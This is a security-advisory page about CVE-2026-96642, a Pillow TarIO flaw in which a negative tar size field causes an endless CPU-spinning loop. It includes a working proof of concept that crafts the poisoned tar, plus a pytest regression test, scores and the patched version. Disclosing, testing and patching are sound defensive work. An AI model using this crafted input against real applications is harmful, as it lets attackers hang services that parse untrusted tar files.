KEVWire

Security intelligence, with context.

Response snapshot Oct 26, 2026, 22:51 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-96642

Pillow: TarIO negative size field causes infinite CPU-spin loop

```python size = int(s[124:135], 8) ... self.fh.seek((size + 511) & (~511), io.SEEK_CUR) ``` There is no check that size is zero or more. A tar header can set this field to a negative octal value.

Published Updated

At a glance

Exploited
Not known
Severity
7.1 High (CVSS 4.0)
Chance of exploitation
0.4% in the next 30 days
Sources
2 independent sources

What to do

GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-3j72-p6qg-6xp7 (opens a new tab)

What happened

### Summary `TarIO.__init__` does not check that a tar header's size field is positive. A crafted header with a negative size makes it seek backward onto itself. This causes an infinite loop that uses 100% CPU and never returns.

### Details `TarIO.__init__` reads 512-byte tar headers one at a time, looking for a member with a given name. For each header it reads the size field and skips ahead to the next header:

```python size = int(s[124:135], 8) ... self.fh.seek((size + 511) & (~511), io.SEEK_CUR) ``` There is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.

The loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.

Continue reading

### Steps to reproduce

This uses Tests/images/hopper.tar, a normal file already in the Pillow test suite. It only changes the size field of the first header.

```python from PIL import TarIO

with open("Tests/images/hopper.tar", "rb") as f: data = bytearray(f.read())

# Set the size field (bytes 124 to 135) to a negative octal value. # Octal 1000 is 512, so this is size = -512. data[124:135] = b" -00001000"

with open("poisoned.tar", "wb") as f: f.write(data)

# "does-not-exist" does not match the header name, so TarIO must # keep scanning. This call never returns. TarIO.TarIO("poisoned.tar", "does-not-exist") ```

We confirmed this with ps. The process sits at 98 to 100% CPU and never exits on its own. It only stops if killed from outside.

A pytest version of this, using pytest-timeout so the test does not hang forever, is below. On the current code it fails with Failed: Timeout (>3.0s) from pytest-timeout.

```python from __future__ import annotations

from pathlib import Path

import pytest

from PIL import TarIO

SOURCE_TAR = "Tests/images/hopper.tar"

@pytest.mark.timeout(3) def test_negative_size_field_does_not_hang(tmp_path: Path) -> None: with open(SOURCE_TAR, "rb") as f: data = bytearray(f.read())

data[124:135] = b" -00001000" # octal 1000 = decimal 512, negated

poisoned_tar = tmp_path / "poisoned.tar" poisoned_tar.write_bytes(data)

with pytest.raises((OSError, ValueError)): with TarIO.TarIO(str(poisoned_tar), "does-not-exist"): pass ``` ### Impact

- Availability: an attacker who can get a crafted tar file passed to TarIO.TarIO() can hang the process at full CPU with a file just over 512 bytes. - Confidentiality: none. - Integrity: none. - TarIO is a small helper class. It is not used by Image.open() and is not on the default path most Pillow users hit. An app has to call PIL.TarIO.TarIO(path, member_name) directly for this to matter, which some apps do to read an image out of a tar archive.

Affected package ranges reported by GitHub: Pillow: < 13.0.0

Scores and how they were measured

CVSS base severity

7.1

Version 4.0As of

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.4%

Scored Percentile 33.6%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-3j72-p6qg-6xp7 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3j72-p6qg-6xp7, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3j72-p6qg-6xp7, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  4. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3j72-p6qg-6xp7, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  5. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3j72-p6qg-6xp7, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  6. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3j72-p6qg-6xp7, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  7. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3j72-p6qg-6xp7, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  8. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3j72-p6qg-6xp7, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  9. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3j72-p6qg-6xp7, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  10. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3j72-p6qg-6xp7, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  11. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-3j72-p6qg-6xp7, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  12. Primary source

    NVD CVE-2026-96642 (opens a new tab)

    NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation.

    Published Checked

  13. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  14. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-96642, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 22). Pillow: TarIO negative size field causes infinite CPU-spin loop (CVE-2026-96642). https://kevwire.com/record/CVE-2026-96642

MLA

"Pillow: TarIO negative size field causes infinite CPU-spin loop (CVE-2026-96642)." KEVWire, 22 Oct. 2026, kevwire.com/record/CVE-2026-96642.

Chicago

KEVWire. "Pillow: TarIO negative size field causes infinite CPU-spin loop (CVE-2026-96642)." Last modified October 22, 2026. https://kevwire.com/record/CVE-2026-96642.

Evidence summary (plain text)

Pillow: TarIO negative size field causes infinite CPU-spin loop (Oct 22, 2026).
```python
size = int(s[124:135], 8)
...
self.fh.seek((size + 511) & (~511), io.SEEK_CUR)
```
There is no check that size is zero or more. A tar header can set this field to a negative octal value. For size = -512, the seek offset comes out to exactly -512, which cancels the 512 bytes the loop had just read. The file position goes right back to where this loop step started.

The loop only stops on end of file or when a header name starts with a null byte. Neither happens, since the same header keeps showing up again. The loop never ends on its own.
CVSS 7.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96642).
EPSS 0.4% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96642&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-3j72-p6qg-6xp7: https://github.com/advisories/GHSA-3j72-p6qg-6xp7
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo1MTozMFrOAAf0Mg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-96642: https://nvd.nist.gov/vuln/detail/CVE-2026-96642
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96642&date=2026-10-26
Record ID: CVE-2026-96642.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 26, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail